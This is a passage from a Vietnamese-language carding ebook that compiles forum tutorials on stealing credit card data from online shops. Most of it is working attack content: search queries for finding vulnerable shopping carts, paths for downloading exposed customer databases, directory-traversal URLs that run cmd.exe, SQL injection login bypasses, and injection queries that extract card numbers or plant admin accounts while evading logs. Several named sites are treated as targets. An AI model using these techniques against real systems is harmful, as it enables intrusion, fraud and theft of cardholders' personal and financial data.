Chúng ta sử dụng dấu (+) để kết hợp password với 1 giá trị chuỗi mà chúng ta muốn. (ASSCII code for '+' = 0x2b).Chúng ta sẽ kết hợp với '(space)morpheus' thành 1 password thực. Vì vậy, ngay cả với password là một chuỗi số'123456', Nó cũng sẽ trở thành '123456 anhyeuem' bằng cách ðõn giản gọi lệnh convert(), sau đó cố gắng chuyển đổi'123456 anhyeuem' thành 1 số, SQL Server sẽ xuất hiện lỗi ODBC:

Page 18: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '123456 anhyeuem' toa column of data type int./index.asp, line 5

How to update/insert data into the database? (phương pháp Update/Insert dữ liệu vào CSDL)

Khi chúng ta thành công trong việc thu thập thông tin từ CSDL, ðiều này có nghĩa chúng ta có thể UPDATE hoặc ngaycả INSERT một record mới trong table. Ví dụ chúng ta có thể thay password của "kidbandes":

http://shopping.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'lovethu' WHERElogin_name='kidbandes'--

Để INSERT dữ liệu mới vào CSDL:

http://shopping.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details')VALUES (666,'kidbandes2','lovethu','NA')--

Bây giờ chúng ta có thể đăng nhập với "kidbandes2" và password "lovethu".

date : 29/05/2005 TG kidbandes newbie of Thecorrs Family

Page 19: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

TUTORIAL FORM jonnyhackstuffMức độ nguy hiểm : khá caotỷ lệ thành công :80%Tool :+ site http://google.com.vn/+ PC của bạn cài Access ( dùng để xem file .mdb)Hiện các Shop DUpaypal rất nhiều và hàu như chưa fix được mấy bằng chứng là tấn công 10 site thì 8 site dính :D)

Tiến hành:Lên http://google.com.vn/ Search với từ khóa "Powered by DUpaypal -siteduware.com"bạn sẻ thấy rất nhiều site dính Bug này, Chọn victim để test nàoở đây kieptinhchung chọn cái này:http://www.xcel-leadership.com/sermon/deta...ro=147&iType=18bi giờ thêm vào sau Nó :../_private/DUpaypal.mdbđể Dowload file chứa thông tin về U/P của Admin về , tức là ta sẻ dùng link sau để dowload nó:http://www.xcel-leadership.com/sermon/_private/DUpaypal.mdbsau khi dowload về bạn sẻ xem Nó dưới dạng Accees, tìm phần User và lấy user+pass đăng nhậpthật dễ dàng , như vậy là bạn đã làm chủ Shop đó roài đó.

TUTORIAL BY HCEGROUP

Page 20: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

I-Lỗi Tek9.asp :

Cách thức tìm : Dùng Google

Câu tìm kiếm : tek9.asp

Kết quả : Bạn tìm các trang web hiện lên , ví dụ làhttp://198.170.250.68/ tek9_login.asp

Bạn sẽ thêm intranet trước tek9.asp

http://198.170.250.68/intranet/tek9_login.asp

Được gì ? Bạn vào trang đăng nhập của người quản trị.

Tên và mật khẩu : Đều là 'or''='

Sau đó ? Bạn tự tìm hiểu vì mỗi trang có 1 sự trình bày hơi khác nhau. Trang trên cho phép bạn quản lý thông số ,kiểu , cách thức và vài chỗ có liên quan đến cơ sở dữ liệu chứa thẻ tín dụng. Ngòai ra bạn có thể tìm lệnh Find ordersđể truy tìm khu vực chức thẻ.

============================

II-Lỗi Cart32 v3.5a

Cách thức tìm : Dùng Google

Câu tìm kiếm : Cart32 v3.5a

Kết quả : Chạy các trang web có tập tin cart32.exe . Bạn sẽ nhận được 1 số thông tin

Được gì ? Chưa được gì hết

Tên và mật khẩu : Không cần

Sau đó ? Giả sử bạn kiếm được trang web sau có lỗi

http://www.connectionsmall.com/scripts/cart32.exe/

Bạn thay từ card32.exe bằng những dòng sau đây : I)

..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\

II)

..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ III)

..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\

Ví dụ :

http://www.connectionsmall.com/scripts/..À¯..À¯..À¯..À¯../winnt/system32/cmd.exe?/c+dir+c:\

Page 21: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

-Nếu không chuyện gì xảy ra thì bạn thêm dòng địa chỉ sau vào cuối cùng để lấy thẻ tín dụng :

\progra~1\MWAInc\Cart32\

-Bạn sẽ thấy những dòng giống như sau :

2814659000-001001.c32

2814659000-001002.c32

2814659000-001003.c32

-Bây giờ tất những gì cần phải làm là bạn thêm 1 trong ba hoặc thử thì dùng từng cái vào cuối địa chỉ trên. Sau cùng tasẽ có giống như thế này :

http://www.connectionsmall.com/scripts/..À¯..À¯..À¯..À¯../winnt/system32/cmd.exe?/c+dir+c:\progra~1\MWAInc\Cart32\2814659000-001001.c32

============================

III-Lỗi Commerce.cgi

Cách thức tìm : Dùng Google

Câu tìm kiếm : Commerce.cgiKết quả : Chạy các trang web có tập tin Commerce.cgi. Giả sử bạn kiếm được trang web sau có lỗi

http://www.warresisters.org/store/commerce.cgi

Bạn thay từ commerce.cgi bằng admin_files/commerce_user_lib.pl

Ví dụ :

http://www.warresisters.org/store/admin_files/commerce_user_lib.pl Bạn sẽ nhận được 1 số thông tin :

$sc_sales_tax = ".0825";

$sc_sales_tax_state = "NY";

$sc_send_order_to_email = "yes";

$sc_order_log_name = "onlinebookstore.log";

$sc_send_order_to_log = "yes";

Page 22: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

$shipping_percentage = ".15";

$sc_order_email = "wrl\@igc.org";

$sc_root_url = "http://www.warresisters.org/store";

$sc_admin_email = "lit\@warresisters.org";

$sc_domain_name_for_cookie = ".warresisters.org";

$sc_order_script_url = "https://secure.serve.com/resist/store/commerce.cgi";

$sc_root_web_path = "/home/serve/resist/Html/Products";

$sc_path_for_cookie = "/store";

$path_to_html = "../Html";

1;

Được gì ? 1 số thông tin quan trọng về cơ sở dữ liệu

Tên và mật khẩu : Không cần

Sau đó

Xóa cái commerce_user_lib.pl đi thay bằng dòng chữ tìm ở $sc_order_log_name và ....

============================III-Lỗi shopdisplaycategories

Cách thức tìm : Dùng Google

Câu tìm kiếm : shopdisplaycategories

Kết quả : Trong link các trang bị lỗi , bạn thay shopdisplaycategories.asp thành shopdbtest.asp

Được gì ? Bạn biết được đường dẫn để tải cơ sở dữ liệu Thẻ Tín Dụng

Tên và mật khẩu : Không cần

Sau đó : Thay shopdbtest.asp bằng phần trả lời của xdatabase ( bạn tìm ở phía trên )

============================

Page 23: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

IV-Lỗi SQL Injection

Cách thức tìm : Dùng Google

Câu tìm kiếm : admentor

Kết quả : Bạn vào trang bị lỗi , đăng nhập với Username và Password là 'or''='

Được gì ? Bây giờ bạn nắm mọi họat động quản lý của website trong vai Admin

Tên và mật khẩu : 'or''='

Sau đó : Bạn tự tìm hiểu

============================

IV-Lỗi datasources

Cách thức tìm : Dùng Google

Câu tìm kiếm : datasources/ hay config/datasources/

Kết quả :Đường dẫn những trang bị lỗi này

Được gì ? Từ đây bạn thêm vào expire.mdb vào sau datasources/ hay config/datasources/

Tên và mật khẩu : Không cần

Sau đó : Bãn tải được kho dữ liệu có credit card

Page 24: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

TUTORIAL BY CVHINT-Lâu rồi không ghé qua diễn đàn chơi sợ anh em nhớNên tui xin góp một bài viết gọi là đóng góp cho diễn đàn tí xíuvới lại về việc hack tôi sẽ không tham gia một thời gian dài nên việc share hết kinh nghiệm háck shop cho anh em chỉcòn là vấn đề thời gian vì vậy ai khoái cái dụ cc thì nên chú ý bài viết này của tôi nhé.Bây giờ chúng ta sẽ đi vào vấn đề chính của bài viết này.Tôi biết hack shop thì ai cũng biết nhưng hack thế nào để cócc thì rất nhiều người không biết hoặc nếu có thì chưa kịp ăn đã die vì lí do cách hack đó ai cũng biết ( Nếu tôi đoánkhông lầm thì bài viết của Hiếupc ai cũng đọc qua rồi nhỉ ).Thế nên tôi sẽ chỉ cho các bạn một cách hack dạng sql mớichưa phổ biến lắm và ít người hack được.Nhưng xin mọi người cho tui nói vài lời.Tôi đã từng lướt qua các site của viethacker và vào trong box thảo luận về sqlxem thế nào thì có nhiều người cho ý kiến thế này "SQL là một lỗi đã bị lỗi thời".Trùi nghe mà buồi rười rượi.Nói cho các bạn nghe SQL không hề lỗi thời chủ yếu là có biến cái lỗi thời thành lỗi phổ biến của riêng mình haykhông lại là chuyện khác.Thôi nói nhiều mệt quá nên viết bài đây :Vào google search từ khoá nào mà các bạn biết nhé.Tôi xin đóng góp một vài từ khoá bạn nào biết cái nào thì sharecho mọi người nhé.:

shopcategories.asp?id= /shop/ shopping product.asp?ProductIDallinurl:"shopdisplayproducts.asp?id=allinurl:"shopdisplayproducts.asp?id=1allinurl:"shopdisplayproducts.asp?id=2allinurl:".com/shopdisplayproducts.asp?id=allinurl:".net/shopdisplayproducts.asp?id=.asp?=catalogid=.asp?cid=alliurl: shop$.asp?$=shopexd.asp?shopreviewlist.asp?id=1shopreviewadd.asp?id=

rồi search đại một shop giả sử như thế này : www.cvhint.com/shopdisplayproducts.áp?id=1Rồi khi thêm dấu ' vào nó không ra lỗi thì làm thế nào.Trùi không lẽ nó không có lỗi.Thử là biết ngay thôi.Ta thay cái link khác thử xem sao.Trong vd này tôi thay cái shopdisplayproducts.asp?id=1 =shoptellafriend.asp.asp?id=1và thêm dấu ' lại xem sao.OOOOOOh lỗi kìa.Good.

Microsoft JET Database Engine error '80040e14'

Syntax error in string in query expression 'catalogid = 12''.

/vshop/shoptellafriend.asp, line 183Chài vì sao tôi gọi cái này là nâng cao các bạn nên để ý cái line của nó đó.Thường các bạn hack theo bài viết củaHieupc thì chỉ hack được cái line có chỉ số cao thôi còn các line dưới 200 thường thì bó chiếu phải không nào.( Lúctrước tôi gặp hoài à nên hiểu mà)Tiếp tục dùng truy vấn mà hieupc chỉ cho các bạn đó rà số từ từ sẽ ra một chữ số đặc biệt ở đây thường là số 3 và đâylà kinh nghiệm chiến trường tui share cho anh em đây.:

Page 25: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

line191 >>> 56line184 >>> 47,43,53line188 >>> 53,56, 60line191 >>> 48line185 >>> 86,43line202 >>> 84,91line208 >>> 48,57line64 >>> 53line211,187 >>> 43line59 >>> 70line58 >>> 43 --------------- Đây là các line thường gặp đó.Mai mốt chỉ cần gặp các line này thì các bạn chỉ cần rà sốđến những số ở trên là ra chữ số 3 để khai thác à.Tiếp tục khi ra cái bảng có chứa chữ số 3 rồi chúng ta cần lấy user và pass thì nhập cái này vào :fldusername%2b'/'%2bfldpasswordkhi các bạn nhập truy vấn vào thì sẽ ra cái pass và user ở ngay số 3 mà thôi.Còn link admin thường là shopadmin.asp nhưng cái cách này của tôi nếu lấy link là shopadmin.asp thì hầu như khôngđược.Tôi sẽ chỉ mọi người ở phần tiếp theo còn bây giờ đói rồi đi ăn cái đã.Mong anh em hiểu bài viết này của tôi vàthực hành thành công.Tôi viết không có cái gì gọi là dấu nghề như các bạn khác chỉ cần anh em đọc và hiểu thì sẽ cóshop ngon mà ăn dài dài thôi.Đây là một dạng nâng cao hơi nguy hiểm nên tui không thể đưa ra vd cho các bạn đượcnếu ai có search thấy một site nào đó thì hãy post lên cho mọi người cùng hack.ByeBản quyền : cvhint và một người bạn.

Page 26: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

TUTORIAL FROM VIETHACKERCác bạn đã nghe rất nhiều từ sql-injection rất nhiều bạn thành thạo nhưng vẫn còn nhiều bạn mới làm wen với lập trìnhweb còn chưa biết tôi xin mạn phép post lại dựa trên các bài về sql-ịnect từ nhóm Vicki , Viethacker.net ...hay một vàinơi khác .

+ SQL Injection là gì?SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQLquery/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login (với quyền Admin) mà khôngcần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là mộttrình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape,..

+ Vâng hiểu về SQL-Ịnect đơn giản là chỉ có vậy tôi sẽ phân tích tiếp việc khai thác lỗi đó như thế nào , và mỗi ngườiđều có những cách xử lý riêng

VD :http://www.xxx.com/item.asp?item_id=1

- kiểm tra xem có lỗi không : thêm dấu ' vào :

http://www.xxx.com/item.asp?item_id=1'

Nếu thấy hiển thị lỗi :có dạng vd như thế này :CODEMicrosoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.C:\INETPUB\WWWROOT\xxx\INCLUDE\../lib/dblib.asp, line 95 Thì trang web này bị SQL-Inject chúng ta có thể hoàn toàn khai thác được thông qua việc "Hỏi Đáp" -->

Nhiều bạn khi test thấy lỗi như vậy liền dùng câu lệnh lấy hết các bảng , cột trong data:

http://www.xxx.com/item.asp?item_id=1%2bco...hema.tables))--

Sẽ thu được kết quả là bảng đầu tiên:CODEMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value'T005_CC_PACKAGES' to a column of data type int.

C:\INETPUB\WWWROOT\xxx\INCLUDE\../lib/dblib.asp, line 95

'T005_CC_PACKAGES' chính là 1 bảng trong data . Nếu muốn lấy tên bảng tiếp theo ta chỉ việc

http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.tables where table_name not in('T005_CC_PACKAGES' )))--

tiếp tục cho đến khi nào hiện thông báo : Invalid item thì là hết table đó

Muốn lấy tên cột trong bảng thì làm như sau :

Page 27: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.colums where table_name='tên bảng'))--

lấy tiếp thì lại dùng not in:

http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.colums where table_name="tên bảng" not in ('Tên cột đãbiết','tên cột đã biết')))--

Lấy giá trị trong cột :

http://www.xxx.com/item.asp?item_id=1%2bco...201%20'tên cột'%20from 'tên bảng chứa cột'))--Mục đích của nhiều bạn là lấy hết toàn bộ thông tin về table , colum của data từ đóđể khai thác tài khoản đăng nhập admin của site đó . Nhưng những cách từng bước trên rất mệt khi đường Link dài quáIE lỗi luôn đó phải dùng trình duyệt khác(Mozila hay Netscape..) .+ Có cách khác nhanh hơn :Đăng nhập bằng user: 'or''=' pass: 'or''='vd nếu bạn may mắn thì sẽ tìm được chỗ login vào phần quản lý web.

Page 28: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Tổng hợp cách hack cc căn bản nhất!Thường các hacker hack cc từ những lỗi nghiêm trọng của các site bán hàng trên toàn thế giới (còn vô số những sitechưa fix )...các lỗi thường gặp là :acart2_0SalesCart Database Storage InsecurityTrong file shopper.cgiCart32 SitesVP-ASPProductCar............Dưới đây là bài viết chi tiết cách hack các lỗi đó, tất nhiên cũng ko phải tui tìm ra được các lỗi này...vì các lỗi này đựoctìm ra rất lâu rùi...được sang qua sang lại....đến nỗi tác giả của nó là ai cũng ko còn nhớ nỗi nữa...!!!---------------------------------------------------------------------------------------------Lỗi acart2_0" :Đầu tiên các bạn vàohttp://google.com/ ( các bạn có thể vào các site tìm kiếm khác nhưhttp://av.com/ .... ) searchkeyword "acart2_0" ,bạn thấy rất nhiều file mắc lỗi này,do kinh nghiệm mình khuyên các bạn nên chọn những site códạnghttp://url/acart2_0/ ví dụ sitehttp://www.coolrob.com/cart/acart2_0 ,gõ thêm" /acart2_0.mdb "vào đằng sau url,enter xong bạn thấy màn hình dơnload là thành công rùi đó...bạn có thể down toàn bộ file database *.mdb của shop bánhàng đó...---------------------------------------------------------------------------------------------Lỗi VP-ASP:đầu tiên vàohttp://google.com/ search từ khoá "shopdisplaycategories" click vào site bạn sẽ thấy làhttp://www.sitename.com/shopping/shopdisplaycategories.aspViệc tiếp theo là chuyển urlhttp://www.sitename.com/shopping/shopdisplaycategories.asp thành urlhttp://www.sitename.com/shopping/shopdbtest.asp nghĩa là thay shopdisplaycategories.asp bằng shopdbtest.asp rồi enter...nếu ratiếp thêm một trang nữa...<---ko phảt là no page .thì bạn có cơ hội down *mdb của site này đó...sau khi ra trang mới xong,áp dụng công thức http:// [vp-asp site] / [ vp-asp dir] / [ xDatabase + .mdb ]-[vp-asp site] là :http://www.sitename.com/-[ vp-asp dir] là :shopping-[ xDatabase + .mdb ] sẽ là shopping.mdbnếu có màn hình save thì bạn thành công rùi đó...----------------------------------------------------------------------------------------------- Lỗi shopper.cgi:vàohttp://google.com/ search từ khoá shopper.cgi hoặc shopper.execopy những url có dạng sitename.com/cgi-bin/shopper.cgi?sau đó paste vào browse và thêm dòng search=action&keywords=ccpower &template=shopper.conf hoặc hoặc thêmdòng search=action&keywords=ccpower &template=order1.log vào đằng sau,nếu may mắn bạn sẽ tìm thấycc----------------------------------- Lỗi ProductCart:Search với từ khóa allinurl: /productcart/

http://www.ackits.com/ProductCart/pc/msg.asp?Xóa tất cả từ sau ProductCart đi gữ lại đoạn nàyhttp://www.ackits.com/ProductCart/ sau đó thêm vào sau database/EIPC.mdb sẽ thànhhttp://www.ackits.com/ProductCart/database/EIPC.mdb đến lúc này ta sẽ download được file .mdbvề sau khi download về rùi thì chắc mọi người biết phải làm gì rồi chứ................................................Lỗi Cart32.exe:vào google.com ,search từ khóa "Cart32.exe v3"đầu tiên vàohttp://www.sitename.com/cgi-bin/cart32.exe/sitenameLấy Credit Cards :http://www.sitename.com/cgi-bin/cart32/sitename-ORDERS.txthoặc :http://www.sitename.com/cgi-bin/cart32/sitename-OUTPUT.txt

Page 29: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Hack CC thông qua lỗi SalesCart Database Storage Insecurity:Tổng quát: Lỗi này thực chất là dữ liệu của các chương trình mua bán không được bảo mật, mã hóa hay cất giữ cẩnthận nên bạn hoàn toàn có thể lấy chúng một cách dễ dàngLưu ý: đôi khi với thực tế, 1 số link có thể khác đi, không phải lúc nào cũng hoàn toàn đúng, dữ liệu có khi bao gồm cảCRD (Credit Card) nên mọi việc phải qua proxy (nếu không có proxy thì có thể ra dịch vụ...)Khai thác: Hãy sử dụng 1 trong những link sau:www.victim.com/fpdb/shop.mdbwww.victim.com/shoponline/fpdb/shop.mdbwww.victim.com/database/metacart.mdbwww.victim.com/shopping/database/metacart.mdbwww.victim.com/shop/database/metacart.mdbwww.victim.com/metacart/database/metacart.mdbwww.victim.com/mcartfree/database/metacart.mdbwww.victim.com/ASP/cart/database/metacart.mdbVí dụ: site84vn.com có thể download cc từ đây:www.84vn.com/database/metacart.mdbCó nghĩa là database không hề có 1 chút bảo mật nào cả. Download vô tư ! Trong database có thể bao gồm: name,surname, address, e-mail, phone number, credit card number, company name.....Bạn có thể khai thác dữ liệu này, nhưng trong thực tế, mọi việc không phải lúc nào cũng suôn sẻ cả, bạn hãy tưởngtượng mỗi server có một cấu trúc riêng, ví dụ như đường dẫn không phải lúc nào cũng là fpdb/... hay như những linktrên, hãy tận dụng lỗi và thử từng cái một , nhiều khi làwww.victim.com/muaban/fpdb/shop.mdb vì vậy nếu bạn xàicách này hãy linh hoạt trong link tuỳ vào từng site! <----copy by h4a...... lên google tìm từ khóa"inurl:commerce.cgi"Rồi okie số địa chỉ online đang chờ đónvd:ta có site<http://www.warresisters.org/store/commerce.cgi>?xóa cái commerce.cgi? đi thay bằng Admin_files/commerce_user_lib.plta sẽ được## This file contains the user specific variables## necessary for Commerce.cgi

$sc_sales_tax = ".0825";$sc_sales_tax_state = "NY";$sc_send_order_to_email = "yes";$sc_order_log_name = "onlinebookstore.log";$sc_send_order_to_log = "yes";$shipping_percentage = ".15";$sc_order_email = "wrl\@igc.org";$sc_root_url = "http://www.warresisters.org/store";$sc_admin_email = "lit\@warresisters.org";$sc_domain_name_for_cookie = ".warresisters.org";$sc_order_script_url = "https://secure.serve.com/resist/store/commerce.cgi";$sc_root_web_path = "/home/serve/resist/Html/Products";$sc_path_for_cookie = "/store";$path_to_html = "../Html";1;

Page 30: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

xóa cái commerce_user_lib.pl đi thay bằng onlinebookstore.log (tìm ở $sc_order_log_name ) và ....Việc tiếp theo là thuộc về bạn------------------------------------------------------------------------------------------------Vào google gõ từ khoá tek9.aspta được link có dạng tương tự như thế nàyhttps://ionicpurifier.com/tek9.asp?pg=orders&mode=searchbắy đầu từ /tek9.asp/ gõ thêm /intranethttps://ionicpurifier.com/intranet/tek9.asp...ers&mode=searchSau đó đăng nhập với user và pass 'or''='nếu may mắn thì sẽ vào được , và ăn cc tha hồcòn rất nhiều site bị lỗi này------------------------------------------------------------------------------------------------Search keyword in google.com.vn : " Shoping /admin "

http://shopping.richardhealey.com/admin_login.asp

http://families-online.org/admin_login.asp

user/pass : ' or 1=1--

Code của site cho phép exploit lên SQL Server .------------------------------------------------------------------------------------------------

Hack shop qua lỗi SQL server injection

gioi thieu so qua cho anh em biet ve hack sql server inject ha !hack bang ky thuat convert noi nom na la convert 1 bieu thuc dang string sang dang int nhung ko thethuc hien duoc gay thong bao loi (co nhung shop ma ta khong nhan duoc thong bao cua no,vivalue=hidden),vi the truoc tien de hack duoc shop ODBC MySQL server2000 hay 7.0 thi it nhat anhem cung phai xem qua source 1 chut ha,de roi con biet co nen hack theo cach nao`.o day chi gioi thieu cach convert dung` de lay thong bao loi thoi,neu may bac' can hack ca server thinoi nhieu,noi dai dong lam...

Detail:search tren cac trang search engine tuy anh em thich thoi,hien co rat nhieu trang search engine ma anhem thuong dung nhuhttp://www.google.com/ hoachttp://www.froogle.google.com/http://www.av.com/http://www.alltheweb.com/yahoo.com......ok----search for: allinurl: "/shop/viewproduct.asp" hoac may bac co the search = tu key word allinurl:"/shop/index.asp" (nhung cai tu khoa nay van chua xac nhan duoc tinh dung dan cua no,vi no cho ratat rat nhieu site,ma ko phai ODBC MySQL database,hic,ma thuong la` JSP(java server page) hoacJET, hoac VB.net....net va de nay can phai co su no luc cua anh em trong viec test.okco' duoc muc tieu roi chon dai 1 thang,vd:http://www.mcmessentials.com.au/shop/viewp...20&categoryid=5http://www.mcmessentials.com.au/shop/viewp...20&categoryid=5

Page 31: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

okay co muc tieu roi bat dau test no ha

http://www.mcmessentials.com.au/shop/viewp...tegoryid=5'

neu CSDL cua no duoc viet = ODBC MySQL server thi anh em se nhan duoc thong bao sau

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.

/shop/include/viewproduct.asp, line 3

okay,con neu ko thi ko thay gi het,hoac la` ban phai xem trong source de biet.

ok bat dau tim table

co the test theo cac cach sau ma em da biet;having 1=1--sp_password'having 1=1--sp_password"having 1=1--sp_password(having 1=1--sp_password)having 1=1--sp_password(space)having 1=1--_sp_password (%20 la space la khoang trang day)

thuong thi test = cau truy van (space)having 1=1--sp_password la duoc duyet qua ok*luu y' cac anh em 1 dieu rat can thiet1--%2b co nghia la dau + nhung ma truyen truc tiep dau + vao se bi SQL filter mat bat buoc phai co --sp_password demarks log tranh bi phat hien

http://www.mcmessentials.com.au/shop/viewp...=1--sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'categories.label' is invalid in the select list because it isnot contained in an aggregate function and there is no GROUP BY clause.

/shop/include/viewproduct.asp, line 9

ta biet duoc table categories,column la label,bay gio ta di lay tat ca cac table cua column label thuoc table categories

bay gio di lay user_name cua shop thong qua cau truy van sau%2bconvert(int,user_name())--sp_passwordday du la`

http://www.mcmessentials.com.au/shop/viewp...))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'braunshop' to acolumn of data type int.

/shop/include/viewproduct.asp, line 3

Page 32: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

'braunshop' la truong user_name cua shop*luu y2--truong user_name() la de xac dinh user hien tai,neu no la dbo thi ta co kha nang hack thang vao ca server ma ko canquyen admin,con neu ko thi ta co nhung buoc trung gian de chiem,ok ta dung lai o viec lay cc tu shop ma thoi,ko noiden chuyen chiem ca server,much dich de anh em hoc hoi,va trao doi kinh nghiem la chinh,ko loi keo anh em pha hoainghiem trong den bat cu ai khac nen toi chi post va dung lai o phan lay cc ma thoi,con neu ai co thu oan gi voi thangnao,muon deface,lay pass,lay root,lay server,host thi lien he voi toi

ok bay gio ta se lan luot lay cac table tren column labellay table thu 1 thong qua cau truy van sau%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables))--sp_passwordday du la`

http://www.mcmessentials.com.au/shop/viewp...))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'categorieslist' to acolumn of data type int.

/shop/include/viewproduct.asp, line 3

ok table 1 la 'categorieslist',muon lay table thu 2 thi phai dung den where table_name not in('table1')

cau truy van nhu sau:

%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables%20where%20table_name%20not%20in('categorieslist')))--sp_password

http://www.mcmessentials.com.au/shop/viewp...))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'allorders' to a columnof data type int.

/shop/include/viewproduct.asp, line 3 table 2 la` 'allorders'muon lay table thu 3 va cac table co lai thi tiep tu lam tuong tu nhu lay table thu 2 vay%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables%20where%20table_name%20not%20in('categorieslist','allorders')))--sp_password

day la tat ca cac table cua shop vua lay duoc

'categorieslist','allorders','categories','categor ymembers','deliveryZones','dtproperties','essorder s','fullorder','keywords','optiongroupmembers','optiongroups','optiongroupsl ist','optionmembers','options','optionslist','orderoptions','orderoptions-options','orderproducts','orderproducts-products','orders','products','products-categories','products-options','searchresults','sysconstraints','syssegm ents'

Page 33: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

ok sau khi lay duoc tat ca cac table roi thi ban bat dau lay colum cua table,co 2 kieu lay column,1 la lay tat ca caccolumn,ko co muc dich gi hoac de kiem tra toan bo database,2 la` ta da xac dinh duoc can phai lay column trong tablenao,sau do moi lay,toi thi chi lay column trong table nao co cc thoi,'allorders' hoac 'orders'ok ta lay no thoicau truy van lay column dau tien la`1---lay column tren tat ca cac table,ko can biet no thuoc table nao,lay den khi nao het thi thoi,cau truy van co dang%2bconvert(int,(select top 1 column_name from information_schema.columns))--sp_passwordduoc column1 roi thi dung where column_name not in('column1') ok ha2--lay column tren table da xac dinh truoccau truy van nhu sau vi du toi lay column tren table orders

%2bconvert(int,(select top 1 column_name from information_schema.columns where table_name ='orders'))--sp_password

http://www.mcmessentials.com.au/shop/viewp...))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'orderid' to a columnof data type int.

/shop/include/viewproduct.asp, line 3 column dau tien la` 'orderid'lay column thu 2 thi can them and column_name not in('orderid')

%2bconvert(int,(select top 1 column_name from information_schema.columns where table_name ='orders' andcolumn_name not in('orderid')))--sp_password

http://www.mcmessentials.com.au/shop/viewp...))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'created' to a columnof data type int.

/shop/include/viewproduct.asp, line 3

va lan luot lay cho het cac column cua table 'orders'

khi anh em da lay duoc tat ca cac column cua table 'orders'roi thi chi con viec sau cung hap dan nhat ma thoi,do la laycc,anh em hay viet thanh 1 cau truy van de lay cc dua vao tat ca cac column cua anh em nhan duoc,moi shop no co cacfield database khac nhau,nhung hau het cac shop duoc search duoi dang allinurl: "/shop?viewproduct.asp" thi chi co 1kieu truy van duy nhat,vi em da thu qua tat ca roi hhihihi cai nao cung ok camay anh em khoi mat cong xap xep lai de viet thang cau truy van chi cho met,toi dua luon cho anh em xai choi

lay cc dau tien

Page 34: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

%2bconvert(int,(select%20top%201%20cardtype%2b'%20 Name:'%2bcardname%2b'%20addr:%20'%2baddress%2b'%20 suburb:%20'%2bsuburb%2b'%20state:%20'%2bstate%2b'%20zip:%20'%2 bpostcode%2b'%20country:%20'%2bcountry%2b'%20phone :%20'%2bphone%2b'%20email:%20'%2bemail%2b'%20cardnumber:%20'%2bc ardnumber%2b'%20expireymonth:%20'%2bexpirymonth%2b '%20year:%20'%2bexpiryyear%20from%20orders))--sp_password

lay' cc thu 2 thi ta them vao o sao ....from orders where cardnumber not in('so card dau tien')va lan luot lay het cac credit card co tren do'nhu cai shop o tren thi de dung cho may bac thuc tap va de co them kinh nghiem ma thoi,vi day chi de hoc hoi,konham muc dich pha hoai bat cu ai . Hack Sql Inject nâng cao

Các bạn thử xem một câu truy vấn SQL:

select id, forename, surname from authors

thì 'id','forename' và 'surname' là column của table author,khi câu truy vấn trên làm việc thì nó sẽ cho kết quả tất cã cácdòng trong table author.Xem câu truy vấn sau:

select id, forename, surname from authors where forename = 'john' and surname = 'smith'

Đây là câu truy vấn có điều kiện chắc không nói các bạn cũng biết,nó cho ra kết quả tất cã những ai trong csdl vớiforename = 'john' and surname = 'smith'

